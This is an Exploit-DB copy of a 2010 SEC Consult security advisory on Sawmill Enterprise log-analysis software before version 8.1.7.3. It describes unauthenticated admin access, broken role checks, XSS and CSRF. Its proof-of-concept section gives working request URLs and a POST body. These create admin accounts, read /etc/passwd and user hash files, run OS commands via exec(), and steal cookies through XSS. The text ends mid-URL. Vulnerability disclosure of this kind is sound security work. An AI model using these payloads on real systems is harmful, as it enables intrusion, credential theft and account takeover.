Exploit-DB #15298
Description: Sawmill Enterprise < 8.1.7.3 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2010-10-21
Author: SEC Consult

Exploit:
SEC Consult Security Advisory < 20101021-0 >
=======================================================================
              title: Multiple critical vulnerabilities
            product: Sawmill - Universal Log File Analysis
 vulnerable version: Sawmill Enterprise < v8.1.7.3
      fixed version: v8.1.7.3
             impact: critical
           homepage: http://www.sawmill.net
              found: 2010-07-20
                 by: J. Greil / SEC Consult / www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Sawmill is universal log analysis software that runs on every major
platform. It can process almost any type of log data. The reports that
Sawmill generates are hierarchical, attractive, and heavily
cross-linked for easy navigation. Complete documentation is built
directly into the program."

source:
http://www.sawmill.net/features.html


Vulnerability overview/description:
-----------------------------------
Sawmill suffers from multiple critical vulnerabilities which allow an
_unauthenticated_ attacker to gain administrative rights. Furthermore
it is possible to access (RW) the file system and execute arbitrary
commands on the operating system without authentication.

Attackers with valid accounts are able to reset the root password or
add/delete log profiles, view and manipulate admin settings etc.

It must be noted that further vulnerabilities are to be expected 
within the software (such as buffer overflows, etc.). Due to lack of 
time no further vulnerabilities could be searched.


1) Unauthenticated access to critical functions
Unauthenticated attackers are e.g. able to create new user accounts 
with administrative "Manager" roles. It is possible to exploit the 
built-in "salang" scripting language to read/write files on the file 
system (e.g. user configuration with MD5 hashes), connect to other 
internal systems or execute arbitrary operating system commands.


2) Insufficient validation of user access rights
Users with standard access rights/roles (e.g. "Statistics Visitor") are
able to access functions or methods of the Sawmill application where
they shouldn't have access to (default permissions of installation).

"Statistics visitor" users are able to access administrative functions
or admin menus in order to gain sensitive information or even manipulate
settings, create new profiles or delete profiles. The creation of new
profiles also results in a denial-of-service (temporarily until admin
deletes profiles) if more profiles are being created than the license
currently allows.

It is possible to access the Sawmill setup page in order to reset the
Sawmill root username and password with a standard user account.

A standard user is also able to gain access to more functions within
the interface (e.g. regarding profiles) just by changing local
JavaScript variables, e.g. through an intercepting proxy server.


3) XSS / CSRF
There are many parameters which are not properly sanitised and
vulnerable to XSS. Furthermore no protection against CSRF is in place 
which e.g. allows remote attackers to reset the root password by 
e.g. exploiting the vulnerabilities in section 1 or 2.


Proof of concept:
-----------------
1) Unauthenticated access to critical functions

* Create a user account with admin rights:
http://$host/?a=cu&u=testing&pw=testing&roles=role_1

* Read files of the file system:
http://$host/?a=ee&exp=error(read_file('/etc/passwd'))
http://$host/?a=ee&exp=error(read_file('LogAnalysisInfo/users.cfg'))

(error() call is needed to print the output within the web interface
instead of stdout)

* Write files:
E.g. use the write_file() method

* Execute OS commands:
http://$host/?a=ee&exp=exec('/bin/ls','Output',1))
(exec() only returns PID and no output. I'll leave it to the
creativity of the reader to further exploit this :))


2) Insufficient validation of user access rights

* Access to the "new profile wizard" including file browser as standard
  "Statistics viewer" user:
  This feature also allows to choose arbitrary files as log analysis
  input and to disclose its contents then (file disclosure):
  
http://$host/?dp+templates.new_profile_wizard.index

* Access the Sawmill setup page to reset Sawmill root password:
http://$host/?dp=templates.setup

* Gain sensitive information, such as config/user settings:
http://$host/?dp=templates.admin_pages.users.get_data&v.fp.is_root_admin=true&v.fp.is_unlimited_grants=true

http://$host/?dp=templates.admin_pages.root_admin.get_data
[... see file system for further pages ...]

* Manipulate/create/delete user accounts:
  POST /?dp+templates.admin_pages.users.save_data 
  Host: $host

  v.fp.is_enterprise=true
  &v.fp.deleted_users=
  &v.fp.users.user_1.is_new=false
  &v.fp.users.user_1.username=xxxxx
  &v.fp.users.user_1.password=
  &v.fp.users.user_1.language=
  &v.fp.users.user_1.created_by_user=root_admin
  &v.fp.users.user_1.access.0.all_profiles=false
  &v.fp.users.user_1.access.0.created_by_user=root_admin
  &v.fp.users.user_1.access.0.profiles=testprofile
  &v.fp.users.user_1.access.0.roles.0=role_2
  &v.fp.users.user_1.auto_direct_to_reports_after_login=false
  &v.fp.users.user_1.report_filters.all_profiles.filter_expression=
  [...]

* Changing local variables:
By changing the local JS variables "isrootAdmin", "isAdd", "isDelete",
etc. from "false" to "true" an attacker is able to unlock "hidden"
features and e.g. is able to manipulate other profiles on the index page
(other profiles can be deleted!).


3) XSS (valid session necessary, payload will be auto-executed after
login)
http://$host/?dp=reports&p=testprofile&wbsi=";alert(document.cookie);//
http://$host/?dp=reports&p=testprofile&rii=";alert(123);//&wbsi=[PII_REDACTED]

Unauthenticated XSS:
http://$host/?dp=printer_friendly_report&%25